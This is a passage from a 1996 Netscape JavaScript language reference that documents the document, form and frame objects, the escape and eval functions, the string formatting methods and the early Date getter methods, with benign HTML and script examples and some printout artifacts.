ALINK=" activatedLinkColor"
VLINK=" followedLinkColor"
[onLoad=" handlerText"]
[onUnload=" handlerText"]>
</BODY>

BACKGROUND specifies an image that fills the background of the document.


BGCOLOR, TEXT, LINK, ALINK, and VLINK are color specifications expressed as a hexadecimal
RGB triplet (in the format "rrggbb" or "#rrggbb") or as one of the string literals listed in Color
Values.

To use a document object's properties and methods:

1. document. propertyName
2. document. methodName(parameters)

6 of 14 30.08.96 17:29
wysiwyg://display.tocfr...-e.html#document_object wysiwyg://display.tocframe.5/http://www..../javascript/ref_d-e.html#document_object

propertyName is one of the properties listed below.


methodName is one of the methods listed below.

Property of

· window

Description
An HTML document consists of a <HEAD> and <BODY> tag. The <HEAD> includes
information on the document's title and base (the absolute URL base to be used for relative URL
links in the document). The <BODY> tag encloses the body of a document, which is defined by
the current URL. The entire body of the document (all other HTML elements for the document)
goes within the <BODY> tag.

You can load a new document by using the location object.

You can reference the anchors, forms, and links of a document by using the anchors, forms, and
links arrays. These arrays contain an entry for each anchor, form, or link in a document.

Properties

·
·
alinkColor reflects the ALINK attribute
anchors is an array reflecting all the anchors in a document
·
·
bgColor reflects the BGCOLOR attribute
cookie specifies a cookie
·
·
fgColor reflects the TEXT attribute
forms is an array reflecting all the forms in a document
·
·
lastModified reflects the date a document was last modified
linkColor reflects the LINK attribute
·
·
links is an array reflecting all the links in a document
referrer reflects the URL of the calling document
·
·
title reflects the contents of the <TITLE> tag
URL reflects the complete URL of a document
· vlinkColor reflects the VLINK attribute

The following objects are also properties of the document object:


·
·
anchor
form
·
·
history
link

Methods

·
·
close
open
·
·
write
writeln

Event handlers

· None. The onLoad and onUnload event handlers are specified in the <BODY> tag but are

7 of 14 30.08.96 17:29
wysiwyg://display.tocfr...-e.html#document_object wysiwyg://display.tocframe.5/http://www..../javascript/ref_d-e.html#document_object

actually event handlers for the window object.

Examples
The following example creates two frames, each with one document. The document in the first
frame contains links to anchors in the document of the second frame. Each document defines its
colors.

DOC0.HTML, which defines the frames, contains the following code:

<HTML>
<HEAD>
<TITLE>Document object example</TITLE>
</HEAD>
<FRAMESET COLS="30%,70%">
<FRAME SRC="doc1.html" NAME="frame1">
<FRAME SRC="doc2.html" NAME="frame2">
</FRAMESET>
</HTML>

DOC1.HTML, which defines the content for the first frame, contains the following code:

<HTML>
<SCRIPT>
</SCRIPT>
<BODY
BGCOLOR="antiquewhite"
TEXT="darkviolet"
LINK="fuchsia"
ALINK="forestgreen"
VLINK="navy">
<P><B>Some links</B>
<LI><A HREF="doc2.html#numbers" TARGET="frame2">Numbers</A>
<LI><A HREF="doc2.html#colors" TARGET="frame2">Colors</A>
<LI><A HREF="doc2.html#musicTypes" TARGET="frame2">Music types</A>
<LI><A HREF="doc2.html#countries" TARGET="frame2">Countries</A>
</BODY>
</HTML>

DOC2.HTML, which defines the content for the second frame, contains the following code:

<HTML>
<SCRIPT>
</SCRIPT>
<BODY
BGCOLOR="oldlace" onLoad="alert('Hello, World.')"
TEXT="navy">
<P><A NAME="numbers"><B>Some numbers</B></A>
<LI>one
<LI>two
<LI>three
<LI>four
<LI>five
<LI>six
<LI>seven
<LI>eight
<LI>nine
<P><A NAME="colors"><B>Some colors</B></A>
<LI>red
<LI>orange
<LI>yellow
<LI>green
<LI>blue
<LI>purple

8 of 14 30.08.96 17:29
wysiwyg://display.tocfr...-e.html#document_object wysiwyg://display.tocframe.5/http://www..../javascript/ref_d-e.html#document_object

<LI>brown
<LI>black
<P><A NAME="musicTypes"><B>Some music types</B></A>
<LI>R&B
<LI>Jazz
<LI>Soul
<LI>Reggae
<LI>Rock
<LI>Country
<LI>Classical
<LI>Opera
<P><A NAME="countries"><B>Some countries</B></A>
<LI>Afghanistan
<LI>Brazil
<LI>Canada
<LI>Finland
<LI>India
<LI>Italy
<LI>Japan
<LI>Kenya
<LI>Mexico
<LI>Nigeria
</BODY>
</HTML>

See also

· frame and window objects

E property
Euler's constant and the base of natural logarithms, approximately 2.718.

Syntax
Math.E

Property of
Math

Description
Because E is a constant, it is a read-only property of Math.

Examples
The following example displays Euler's constant:

document.write("Euler's constant is " + Math.E)

See also

· LN2, LN10, LOG2E, LOG10E, PI, SQRT1_2, SQRT2 properties

9 of 14 30.08.96 17:29
wysiwyg://display.tocfr...-e.html#document_object wysiwyg://display.tocframe.5/http://www..../javascript/ref_d-e.html#document_object

elements array
An array of objects corresponding to form elements (such as checkbox, radio, and text objects) in
source order.

Syntax
1. formName.elements[ index]
2. formName.elements.length

formName is either the name of a form or an element in the forms array.


index is an integer representing an object on a form.

Property of

· form

Description
You can reference a form's elements in your code by using the elements array. This array contains
an entry for each object (button, checkbox, hidden, password, radio, reset, select, submit, text, or
textarea object) in a form in source order. For example, if a form has a text field and two
checkboxes, these elements are reflected as formName.elements[0] , formName.elements[1] ,
and formName.elements[2] .

Although you can also reference a form's elements by using the element's name (from the NAME
attribute), the elements array provides a way to reference form objects programatically without
using their names. For example, if the first object on the userInfo form is the userName text
object, you can evaluate it in either of the following ways:

userInfo.userName.value
userInfo.elements[0].value

To obtain the number of elements on a form, use the length property:


formName.elements.length . Each radio button in a radio object appears as a separate element in
the elements array.

Elements in the elements array are read-only. For example, the statement
formName.elements[0]="music" has no effect.

The value of each element in the elements array is the full HTML statement for the object.

Properties

· length reflects the number of elements on a form

Examples
See the examples for the name property.

See also

· form object

10 of 14 30.08.96 17:29
wysiwyg://display.tocfr...-e.html#document_object wysiwyg://display.tocframe.5/http://www..../javascript/ref_d-e.html#document_object

elements property
An array of objects corresponding to form elements (such as checkbox, radio, and text objects) in
source order. See elements array.

encoding property
A string specifying the MIME encoding of the form.

Syntax
formName.encoding

formName is either the name of a form or an element in the forms array.

Property of
form

Description
The encoding property initially reflects the ENCTYPE attribute of the <FORM> tag; however,
setting encoding overrides the ENCTYPE attribute.

You can set the encoding property at any time.

Certain values of the encoding property may require specific values for other form properties. See
RFC 1867 for more information.

Examples
The following function returns the value of the musicForm encoding property:

function getEncoding() {
return document.musicForm.encoding
}

See also

· action, method, target properties

escape function
Returns the ASCII encoding of an argument in the ISO Latin-1 character set.

Syntax
escape(" string")

11 of 14 30.08.96 17:29
wysiwyg://display.tocfr...-e.html#document_object wysiwyg://display.tocframe.5/http://www..../javascript/ref_d-e.html#document_object

string is a non-alphanumeric string in the ISO Latin-1 character set, or a property of an existing
object.

Description
The escape function is not a method associated with any object, but is part of the language itself.

The value returned by the escape function is a string of the form "%xx", where xx is the ASCII
encoding of a character in the argument. If you pass the escape function an alphanumeric
character, the escape function returns the same character.

Examples
The following example returns "%26"

escape("&")

The following example returns "%21%23"

escape("!#")

See also

· unescape function

eval function
The eval function evaluates a string and returns a value.

Syntax
eval( string)

string is any string representing a JavaScript expression, statement, or sequence of statements.


The expression can include variables and properties of existing objects.

Description
The eval function is a built-in JavaScript function. It is not a method associated with any object,
but is part of the language itself.

The argument of the eval function is a string. Do not call eval to evaluate an arithmetic
expression. JavaScript evaluates arithmetic expressions automatically. If the argument represents
an expression, eval evaluates the expression. If the argument represents one or more JavaScript
statements, eval performs the statements.

If you construct an arithmetic expression as a string, you can use eval to evaluate it at a later time.
For example, suppose you have a variable x. You can postpone evaluation of an expression
involving x by assigning the string value of the expression, say "3 * x + 2" , to a variable, and
then calling eval at a later point in your script.

12 of 14 30.08.96 17:29
wysiwyg://display.tocfr...-e.html#document_object wysiwyg://display.tocframe.5/http://www..../javascript/ref_d-e.html#document_object

Examples

Example 1. Both of the write statements below display 42. The first evaluates the string "x + y +
1", and the second evaluates the string "42".

var x = 2
var y = 39
var z = "42"
document.write(eval("x + y + 1"), "<BR>")
document.write(eval(z), "<BR>")

Example 2. In the following example, the getFieldName(n) function returns the name of the nth
form element as a string. The first statement assigns the string value of the third form element to
the variable field. The second statement uses eval to display the value of the form element.

var field = getFieldName(3)


document.write("The field named ", field, " has value of ", eval(field + ".value"))

Example 3. The following example uses eval to evaluate the string str. This string consists of
JavaScript statements that opens an alert dialog box and assigns z a value of 42 if x is five, and
assigns zero to z otherwise. When the second statement is executed, eval will cause these
statements to be performed, and it will also evaluate the set of statements and return the value that
is assigned to z.

var str = "if (x == 5) {alert('z is 42'); z = 42;} else z = 0; "


document.write("<P>z is ", eval(str))

Example 4. In the following example, the setValue() function uses eval to assign the value of the
variable newValue to the text field textObject.

function setValue (textObject, newValue) {


eval ("document.forms[0]." + textObject + ".value") = newValue
}

exp method
Returns enumber, where number is the argument, and e is Euler's constant, the base of the natural
logarithms.

Syntax
Math.exp( number)

number is any numeric expression or a property of an existing object.

Method of
Math

Examples
//Displays the value 2.718281828459045
document.write("The value of e<SUP>1</SUP> is " + Math.exp(1))

13 of 14 30.08.96 17:29
wysiwyg://display.tocfr...-e.html#document_object wysiwyg://display.tocframe.5/http://www..../javascript/ref_d-e.html#document_object

See also

· log, <A HREF="ref_m-qLast modified 01/01/70 01:00:00

14 of 14 30.08.96 17:29
wysiwyg://display.tocfr...ef_f-g.html#form_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_f-g.html#form_object

fgColor property
A string specifying the color of the document text.

Syntax
document.fgColor

Property of
document

Description
The fgColor property is expressed as a hexadecimal RGB triplet or as one of the string literals
listed in Color Values. This property is the JavaScript reflection of the TEXT attribute of the
<BODY> tag. The default value of this property is set by the user on the Colors tab of the
Preferences dialog box, which is displayed by choosing General Preferences from the Options
menu. You cannot set this property after the HTML source has been through layout.

If you express the color as a hexadecimal RGB triplet, you must use the format rrggbb. For
example, the hexadecimal RGB values for salmon are red=FA, green=80, and blue=72, so the
RGB triplet for salmon is "FA8072".

You can override the value set in the fgColor property in either of the following ways:
·
·
Setting the COLOR attribute of the <FONT> tag.
Using the fontcolor method.

Examples
The following example sets the color of the foreground text to aqua using a string literal:

document.fgColor="aqua"

The following example sets the color of the foreground text to aqua using a hexadecimal triplet:

document.fgColor="00FFFF"

See also

·
·
alinkColor, bgColor, linkColor, and vlinkColor properties
fontcolor

fixed method
Causes a string to be displayed in fixed-pitch font as if it were in a <TT> tag.

Syntax
stringName.fixed()

stringName is any string or a property of an existing object.

1 of 20 30.08.96 17:36
wysiwyg://display.tocfr...ef_f-g.html#form_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_f-g.html#form_object

Method of
string

Description
Use the fixed method with the write or writeln methods to format and display a string in a
document.

Examples
The following example uses the fixed method to change the formatting of a string:

var worldString="Hello, world"

document.write(worldString.fixed())

The previous example produces the same output as the following HTML:

<TT>Hello, world</TT>

floor method
Returns the greatest integer less than or equal to a number.

Syntax
Math.floor( number)

number is any numeric expression or a property of an existing object.

Method of
Math

Examples
//Displays the value 45
document.write("<P>The floor of 45.95 is " + Math.floor(45.95))

//Displays the value -46


document.write("<P>The floor of -45.95 is " + Math.floor(-45.95))

See also

· ceil method

focus method
Changed in Navigator 3.0

2 of 20 30.08.96 17:36
wysiwyg://display.tocfr...ef_f-g.html#form_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_f-g.html#form_object

Gives focus to the specified object.

Syntax
1. passwordName.focus()
2. selectName.focus()
3. textName.focus()
4. textareaName.focus()

passwordName is either the value of the NAME attribute of a password object or an element in
the elements array.
selectName is either the value of the NAME attribute of a select object or an element in the
elements array.
textName is either the value of the NAME attribute of a text object or an element in the elements
array.
textareaName is either the value of the NAME attribute of a textarea object or an element in the
elements array.

Method of
password, select, text, textarea

Description
Use the focus method to navigate to a specific form element and give it focus. You can then either
programatically enter a value in the element or let the user enter a value.

Examples
In the following example, the checkPassword function confirms that a user has entered a valid
password. If the password is not valid, the focus method returns focus to the password object and
the select method highlights it so the user can re-enter the password.

function checkPassword(userPass) {
if (badPassword) {
alert("Please enter your password again.")
userPass.focus()
userPass.select()
}
}

This example assumes that the password is defined as:

<INPUT TYPE="password" NAME="userPass">

See also

· blur, select methods

fontcolor method
Causes a string to be displayed in the specified color as if it were in a <FONT COLOR=color>
tag.

Syntax
3 of 20 30.08.96 17:36
wysiwyg://display.tocfr...ef_f-g.html#form_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_f-g.html#form_object

Syntax
stringName.fontcolor( color)

stringName is any string or a property of an existing object.


color is a string or a property of an existing object, expressing the color as a hexadecimal RGB
triplet or as one of the string literals listed in Color Values.

Method of
string

Description
Use the fontcolor method with the write or writeln methods to format and display a string in a
document.

If you express color as a hexadecimal RGB triplet, you must use the format rrggbb. For example,
the hexadecimal RGB values for salmon are red=FA, green=80, and blue=72, so the RGB triplet
for salmon is "FA8072".

The fontcolor method overrides a value set in the fgColor property.

Examples
The following example uses the fontcolor method to change the color of a string

var worldString="Hello, world"

document.write(worldString.fontcolor("maroon") +
" is maroon in this line")
document.write("<P>" + worldString.fontcolor("salmon") +
" is salmon in this line")
document.write("<P>" + worldString.fontcolor("red") +
" is red in this line")

document.write("<P>" + worldString.fontcolor("8000") +
" is maroon in hexadecimal in this line")
document.write("<P>" + worldString.fontcolor("FA8072") +
" is salmon in hexadecimal in this line")
document.write("<P>" + worldString.fontcolor("FF00") +
" is red in hexadecimal in this line")

The previous example produces the same output as the following HTML:

<FONT COLOR="maroon">Hello, world</FONT> is maroon in this line


<P><FONT COLOR="salmon">Hello, world</FONT> is salmon in this line
<P><FONT COLOR="red">Hello, world</FONT> is red in this line

<FONT COLOR="8000">Hello, world</FONT> is maroon in hexadecimal in this line


<P><FONT COLOR="FA8072">Hello, world</FONT> is salmon in hexadecimal in this line
<P><FONT COLOR="FF00">Hello, world</FONT> is red in hexadecimal in this line

fontsize method
Causes a string to be displayed in the specified font size as if it were in a <FONTSIZE=size> tag.

4 of 20 30.08.96 17:36
wysiwyg://display.tocfr...ef_f-g.html#form_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_f-g.html#form_object

Syntax
stringName.fontsize( size)

stringName is any string or a property of an existing object.


size is an integer between one and seven, or a string representing a signed integer between 1 and
7, or a property of an existing object.

Method of
string

Description
Use the fontsize method with the write or writeln methods to format and display a string in a
document. When you specify size as an integer, you set the size of stringName to one of the seven
defined sizes. When you specify size as a string such as "-2", you adjust the font size of
stringName relative to the size set in the <BASEFONT> tag.

Examples
The following example uses string methods to change the size of a string:

var worldString="Hello, world"

document.write(worldString.small())
document.write("<P>" + worldString.big())
document.write("<P>" + worldString.fontsize(7))

The previous example produces the same output as the following HTML:

<SMALL>Hello, world</SMALL>
<P><BIG>Hello, world</BIG>
<P><FONTSIZE=7>Hello, world</FONTSIZE>

See also

· big, small methods

form object (forms array)


Changed in Navigator 3.0

Lets users input text and make choices from form objects such as checkboxes, radio buttons, and
selection lists. You can also use a form to post data to a server.

Syntax
To define a form, use standard HTML syntax with the addition of the onSubmit event handler:

<FORM
NAME=" formName"
TARGET=" windowName"

5 of 20 30.08.96 17:36
wysiwyg://display.tocfr...ef_f-g.html#form_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_f-g.html#form_object

ACTION=" serverURL"
METHOD=GET | POST
ENCTYPE=" encodingType"
[onSubmit=" handlerText"]>
</FORM>

NAME="formName" specifies the name of the form object.

TARGET="windowName" specifies the window that form responses go to. When you submit a
form with a TARGET attribute, server responses are displayed in the specified window instead of
the window that contains the form. windowName can be an existing window; it can be a frame
name specified in a <FRAMESET> tag; or it can be one of the literal frame names _top, _parent,
_self, or _blank; it cannot be a JavaScript expression (for example, it cannot be parent.frameName
or windowName.frameName). Some values for this attribute may require specific values for other
attributes. See RFC 1867 for details. You can access this value using the target property.

ACTION="serverURL" specifies the URL of the server to which form field input information is
sent. This attribute can specify a CGI or LiveWire application on the server; it can also be a
mailto: URL if the form is to be mailed. See the location object for a description of the URL
components. Some values for this attribute may require specific values for other attributes. See
RFC 1867 for details. You can access this value using the action property.

METHOD=GET | POST specifies how information is sent to the server specified by ACTION.
GET (the default) appends the input information to the URL which on most receiving systems
becomes the value of the environment variable QUERY_STRING. POST sends the input
information in a data body which is available on stdin with the data length set in the environment
variable CONTENT_LENGTH. Some values for this attribute may require specific values for
other attributes. See RFC 1867 for details. You can access this value using the method property.

ENCTYPE="encodingType" specifies the MIME encoding of the data sent:


"application/x-www-form-urlencoded" (the default) or "multipart/form-data". Some values for
this attribute may require specific values for other attributes. See RFC 1867 for details. You can
access this value using the encoding property.

To use a form object's properties and methods:

1. formName.propertyName
2. formName.methodName(parameters)
3. forms[ index].propertyName
4. forms[ index].methodName(parameters)

formName is the value of the NAME attribute of a form object.


propertyName is one of the properties listed below.
methodName is one of the methods listed below.
index is an integer representing a form object.

Property of

· document

Description
Each form in a document is a distinct object.

You can reference a form's elements in your code by using the element's name (from the NAME

6 of 20 30.08.96 17:36
wysiwyg://display.tocfr...ef_f-g.html#form_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_f-g.html#form_object

attribute) or the elements array. The elements array contains an entry for each element (such as a
checkbox, radio, or text object) in a form.

The forms array

You can reference the forms in your code by using the forms array (you can also use the form
name). This array contains an entry for each form object (<FORM> tag) in a document in source
order. For example, if a document contains three forms, these forms are reflected as
document.forms[0] , document.forms[1] , and document.forms[2] .

To use the forms array:

1. document.forms[ index]
2. document.forms.length

index is an integer representing a form in a document.

To obtain the number of forms in a document, use the length property: document.forms.length .

You can also refer to a form's elements by using the forms array. For example, you would refer to
a text object named quantity in the second form as document.forms[1].quantity . You would
refer to the value property of this text object as document.forms[1].quantity.value .

Elements in the forms array are read-only. For example, the statement
document.forms[0]="music" has no effect.

The value of each element in the forms array is <object nameAttribute>, where nameAttribute
is the NAME attribute of the form.

Properties
The form object has the following properties:
·
·
action reflects the ACTION attribute
elements is an array reflecting all the elements in a form
·
·
encoding reflects the ENCTYPE attribute
length reflects the number of elements on a form
·
·
method reflects the METHOD attribute
target reflects the TARGET attribute

The following objects are also properties of the form object:


·
·
button
checkbox
·
·
hidden
password
·
·
radio
reset
·
·
select
submit
·
·
text
textarea

The forms array has the following properties:


· length reflects the number of forms in a document

7 of 20 30.08.96 17:36
wysiwyg://display.tocfr...ef_f-g.html#form_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_f-g.html#form_object

Methods

· submit

Event handlers

· onSubmit

Examples

Example 1: named form. The following example creates a form called form1 that contains text
fields for first name and last name. The form also contains two buttons that change the names to
all upper case or all lower case. The function setCase shows how to refer to the form by its name.

<HTML>
<HEAD>
<TITLE>Form object example</TITLE>
</HEAD>
<SCRIPT>
function setCase (caseSpec){
if (caseSpec == "upper") {
document.form1.firstName.value=document.form1.firstName.value.toUpperCase()
document.form1.lastName.value=document.form1.lastName.value.toUpperCase()}
else {
document.form1.firstName.value=document.form1.firstName.value.toLowerCase()
document.form1.lastName.value=document.form1.lastName.value.toLowerCase()}
}
</SCRIPT>
<BODY>
<FORM NAME="form1">
<B>First name:</B>
<INPUT TYPE="text" NAME="firstName" SIZE=20>
<BR><B>Last name:</B>
<INPUT TYPE="text" NAME="lastName" SIZE=20>
<P><INPUT TYPE="button" VALUE="Names to uppercase" NAME="upperButton"
onClick="setCase('upper')">
<INPUT TYPE="button" VALUE="Names to lowercase" NAME="lowerButton"
onClick="setCase('lower')">
</FORM>
</BODY>
</HTML>

Example 2: forms array. The onLoad event handler in the following example displays the name
of the first form in an alert dialog box.

<BODY onLoad="alert('You are looking at the ' + document.forms[0] + ' form!')">

If the form name is musicType, the alert displays the following message:

You are looking at the <object musicType> form!

Example 3: onSubmit event handler. The following example shows an onSubmit event handler
that determines whether to submit a form. The form contains one text object where the user enters
three characters. The onSubmit event handler calls a function, checkData, that returns true if the
number of characters is three; otherwise, it returns false. Notice that the form's onSubmit event
handler, not the submit button's onClick event handler, calls the checkData function. Also, the
onSubmit event handler contains a return statement that returns the value obtained with the
function call.

<HTML>

8 of 20 30.08.96 17:37
wysiwyg://display.tocfr...ef_f-g.html#form_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_f-g.html#form_object

<HEAD>
<TITLE>Form object/onSubmit event handler example</TITLE>
<TITLE>Form object example</TITLE>
</HEAD>
<SCRIPT>
var dataOK=false
function checkData (){
if (document.form1.threeChar.value.length == 3) {
return true}
else {
alert("Enter exactly three characters. " + document.form1.threeChar.value + " is not vali
return false}
}
</SCRIPT>
<BODY>
<FORM NAME="form1" onSubmit="return checkData()">
<B>Enter 3 characters:</B>
<INPUT TYPE="text" NAME="threeChar" SIZE=3>
<P><INPUT TYPE="submit" VALUE="Done" NAME="submit1"
onClick="document.form1.threeChar.value=document.form1.threeChar.value.toUpperCase()">
</FORM>
</BODY>
</HTML>

Example 4: submit method. The following example is similar to the previous one, except it
submits the form using the submit method instead of a submit object. The form's onSubmit event
handler does not prevent the form from being submitted. The form uses a button's onClick event
handler to call the checkData function. If the value is valid, the checkData function submits the
form by calling the form's submit method.

<HTML>
<HEAD>
<TITLE>Form object/submit method example</TITLE>
</HEAD>
<SCRIPT>
var dataOK=false
function checkData (){
if (document.form1.threeChar.value.length == 3) {
document.form1.submit()}
else {
alert("Enter exactly three characters. " + document.form1.threeChar.value + " is not vali
return false}
}
</SCRIPT>
<BODY>
<FORM NAME="form1" onSubmit="alert('Form is being submitted.')">
<B>Enter 3 characters:</B>
<INPUT TYPE="text" NAME="threeChar" SIZE=3>
<P><INPUT TYPE="button" VALUE="Done" NAME="button1"
onClick="checkData()">
</FORM>
</BODY>
</HTML>

See also

· button, checkbox, hidden, password, radio, reset, select, submit, text, textarea objects

forms property
An array of objects corresponding to the forms (<FORM> tags) in a document in source order.
See form object.

9 of 20 30.08.96 17:37
wysiwyg://display.tocfr...ef_f-g.html#form_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_f-g.html#form_object

forward method
Loads the next URL in the history list.

Syntax
history.forward()

Method of
history

Description
This method performs the same action as a user choosing the Forward button in the Navigator.
The forward method is the same as history.go(1) .

Examples
The following custom buttons perform the same operations as the Navigator Back and Forward
buttons:

<P><INPUT TYPE="button" VALUE="< Back"


onClick="history.back()">
<P><INPUT TYPE="button" VALUE="> Forward"
onClick="history.forward()">

See also

· back, go methods

frame object (frames array)


Changed in Navigator 3.0

A window that can display multiple, independently scrollable frames on a single screen, each with
its own distinct URL. Frames can point to different URLs and be targeted by other URLs, all
within the same screen. A series of frames makes up a page.

Syntax
To define a frame object, use standard HTML syntax. The onLoad and onUnload event handlers
are specified in the <FRAMESET> tag but are actually event handlers for the window object:

<FRAMESET
ROWS=" rowHeightList"
COLS=" columnWidthList"
[onLoad=" handlerText"]
[onUnload=" handlerText"]>
[<FRAME SRC=" locationOrURL" NAME=" frameName">]
</FRAMESET>

10 of 20 30.08.96 17:37
wysiwyg://display.tocfr...ef_f-g.html#form_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_f-g.html#form_object

ROWS="rowHeightList" is a comma-separated list of values specifying the row-height of the


frame. An optional suffix defines the units. Default units are pixels.
COLS="columnWidthList" is a comma-separated list of values specifying the column-width of the
frame. An optional suffix defines the units. Default units are pixels.
<FRAME> defines a frame.
SRC="locationOrURL" specifies the URL of the document to be displayed in the frame. The
URL cannot include an anchor name; for example <FRAME SRC="doc2.html#colors"
NAME="frame2"> is invalid. See the location object for a description of the URL components.
NAME="frameName" specifies a name to be used as a target of hyperlink jumps.

To use a frame object's properties:

1. [ windowReference.]frameName.propertyName
2. [ windowReference.]frames[ index].propertyName
3. window. propertyName
4. self. propertyName
5. parent. propertyName

windowReference is a variable windowVar from a window definition (see window object), or one
of the synonyms top or parent.
frameName is the value of the NAME attribute in the <FRAME> tag of a frame object.
index is an integer representing a frame object.
propertyName is one of the properties listed below.

Property of

·
·
The frame object is a property of window
The frames array is a property of both frame and window

Description
The <FRAMESET> tag is used in an HTML document whose sole purpose is to define the layout
of frames that make up a page. Each frame is a window object.

If a <FRAME> tag contains SRC and NAME attributes, you can refer to that frame from a sibling
frame by using parent. frameName or parent.frames[ index]. For example, if the fourth frame
in a set has NAME="homeFrame", sibling frames can refer to that frame using
parent.homeFrame or parent.frames[3] .

The self and window properties are synonyms for the current frame, and you can optionally use
them to refer to the current frame. You can use these properties to make your code more readable.
See the properties listed below for examples.

The top and parent properties are also synonyms that can be used in place of the frame name. top
refers to the top-most window that contains frames or nested framesets, and parent refers to the
window containing the current frameset. See the top and parent properties.

The frames array

You can reference the frame objects in your code by using the frames array. This array contains
an entry for each child frame (<FRAME> tag) in a window containing a <FRAMESET> tag in
source order. For example, if a window contains three child frames, these frames are reflected as
parent.frames[0] , parent.frames[1] , and parent.frames[2] .

11 of 20 30.08.96 17:37
wysiwyg://display.tocfr...ef_f-g.html#form_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_f-g.html#form_object

To use the frames array:

1. [ frameReference.]frames[ index]
2. [ frameReference.]frames.length
3. [ windowReference.]frames[ index]
4. [ windowReference.]frames.length

frameReference is a valid way of referring to a frame, as described in the frame object.


windowReference is a variable windowVar from a window definition (see window object), or one
of the synonyms top or parent.
index is an integer representing a frame in a parent window.

To obtain the number of child frames in a window or frame, use the length property:

[windowReference.].frames.length
[frameReference.].frames.length

Elements in the frames array are read-only. For example, the statement
windowReference.frames[0]="frame1" has no effect.

The value of each element in the frames array is <object nameAttribute>, where nameAttribute
is the NAME attribute of the frame.

Properties
The frame object has the following properties:
·
·
frames is an array reflecting all the frames in a window
name reflects the NAME attribute of the <FRAME> tag
·
·
length reflects the number of child frames within a frame
parent is a synonym for the window or frame containing the current frameset
·
·
self is a synonym for the current frame
window is a synonym for the current frame

The frames array has the following properties:


· length reflects the number of child frames within a frame

Methods

·
·
clearTimeout
setTimeout

Event handlers

· None. The onLoad and onUnload event handlers are specified in the <FRAMESET> tag but
are actually event handlers for the window object.

Examples
The following example creates two windows, each with four frames. In the first window, the first
frame contains pushbuttons that change the background colors of the frames in both windows.

FRAMSET1.HTML, which defines the frames for the first window, contains the following code:

12 of 20 30.08.96 17:37
wysiwyg://display.tocfr...ef_f-g.html#form_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_f-g.html#form_object

<HTML>
<HEAD>
<TITLE>Frames and Framesets: Window 1</TITLE>
</HEAD>
<FRAMESET ROWS="50%,50%" COLS="40%,60%" onLoad="alert('Hello, World.')">
<FRAME SRC=framcon1.html NAME="frame1">
<FRAME SRC=framcon2.html NAME="frame2">
<FRAME SRC=framcon2.html NAME="frame3">
<FRAME SRC=framcon2.html NAME="frame4">
</FRAMESET>
</HTML>

FRAMSET2.HTML, which defines the frames for the second window, contains the following
code:

<HTML>
<HEAD>
<TITLE>Frames and Framesets: Window 2</TITLE>
</HEAD>
<FRAMESET ROWS="50%,50%" COLS="40%,60%">
<FRAME SRC=framcon2.html NAME="frame1">
<FRAME SRC=framcon2.html NAME="frame2">
<FRAME SRC=framcon2.html NAME="frame3">
<FRAME SRC=framcon2.html NAME="frame4">
</FRAMESET>
</HTML>

FRAMCON1.HTML, which defines the content for the first frame in the first window, contains
the following code:

<HTML>
<BODY>
<A NAME="frame1"><H1>Frame1</H1></A>
<P><A HREF="framcon3.htm" target=frame2>Click here</A> to load a different file into frame 2.
<SCRIPT>
window2=open("framset2.htm","secondFrameset")
</SCRIPT>
<FORM>
<P><INPUT TYPE="button" VALUE="Change frame2 to teal"
onClick="parent.frame2.document.bgColor='teal'">
<P><INPUT TYPE="button" VALUE="Change frame3 to slateblue"
onClick="parent.frames[2].document.bgColor='slateblue'">
<P><INPUT TYPE="button" VALUE="Change frame4 to darkturquoise"
onClick="top.frames[3].document.bgColor='darkturquoise'">

<P><INPUT TYPE="button" VALUE="window2.frame2 to violet"


onClick="window2.frame2.document.bgColor='violet'">
<P><INPUT TYPE="button" VALUE="window2.frame3 to fuchsia"
onClick="window2.frames[2].document.bgColor='fuchsia'">
<P><INPUT TYPE="button" VALUE="window2.frame4 to deeppink"
onClick="window2.frames[3].document.bgColor='deeppink'">
</FORM>
</BODY>
</HTML>

FRAMCON2.HTML, which defines the content for the remaining frames, contains the following
code:

<HTML>
<BODY>
<P>This is a frame.
</BODY>
</HTML>

FRAMCON3.HTML, which is referenced in a link object in FRAMCON1.HTML, contains the

13 of 20 30.08.96 17:37
wysiwyg://display.tocfr...ef_f-g.html#form_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_f-g.html#form_object

following code:

<HTML>
<BODY>
<P>This is a frame. What do you think?
</BODY>
</HTML>

See also

· document and window objects

frames property
An array of objects corresponding to child frames (<FRAME> tag) in source order. See frame
object.

getDate method
Returns the day of the month for the specified date.

Syntax
dateObjectName.getDate()

dateObjectName is either the name of a date object or a property of an existing object.

Method of
Date

Description
The value returned by getDate is an integer between 1 and 31.

Examples
The second statement below assigns the value 25 to the variable day, based on the value of the
date object Xmas95.

Xmas95 = new Date("December 25, 1995 23:15:00")


day = Xmas95.getDate()

See also

· setDate method

getDay method
Returns the day of the week for the specified date.

14 of 20 30.08.96 17:37
wysiwyg://display.tocfr...ef_f-g.html#form_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_f-g.html#form_object

Syntax
dateObjectName.getDay()

dateObjectName is either the name of a date object or a property of an existing object.

Method of
Date

Description
The value returned by getDay is an integer corresponding to the day of the week: zero for
Sunday, one for Monday, two for Tuesday, and so on.

Examples
The second statement below assigns the value 1 to weekday, based on the value of the date object
Xmas95. This is because December 25, 1995 is a Monday.

Xmas95 = new Date("December 25, 1995 23:15:00")


weekday = Xmas95.getDay()

getHours method
Returns the hour for the specified date.

Syntax
dateObjectName.getHours()

dateObjectName is either the name of a date object or a property of an existing object.

Method of
Date

Description
The value returned by getHours is an integer between 0 and 23.

Examples
The second statement below assigns the value 23 to the variable hours, based on the value of the
date object Xmas95.

Xmas95 = new Date("December 25, 1995 23:15:00")


hours = Xmas95.getHours()

See also

15 of 20 30.08.96 17:37
wysiwyg://display.tocfr...ef_f-g.html#form_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_f-g.html#form_object

· setHours method

getMinutes method
Returns the minutes in the specified date.

Syntax
